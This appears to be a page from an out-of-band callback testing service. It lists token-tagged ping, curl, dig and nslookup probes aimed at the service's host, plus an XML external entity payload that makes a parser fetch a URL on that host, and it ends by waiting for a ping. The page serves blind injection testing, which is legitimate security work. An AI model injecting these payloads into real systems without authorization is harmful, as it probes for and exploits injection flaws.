$ ping -c1 -p 00722a54262d7b302db1e72c57ff3000 unhack.ca
 
$ curl http://unhack.ca/p/722a54262d7b302db1e72c57ff30
 
$ dig 722a54262d7b302db1e72c57ff30 @unhack.ca
 
$ dig 722a54262d7b302db1e72c57ff30.ns.unhack.ca
 
C:\> nslookup 722a54262d7b302db1e72c57ff30 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/722a54262d7b302db1e72c57ff30">]>
    <foo>&xxe;</foo>
 
Waiting for ping...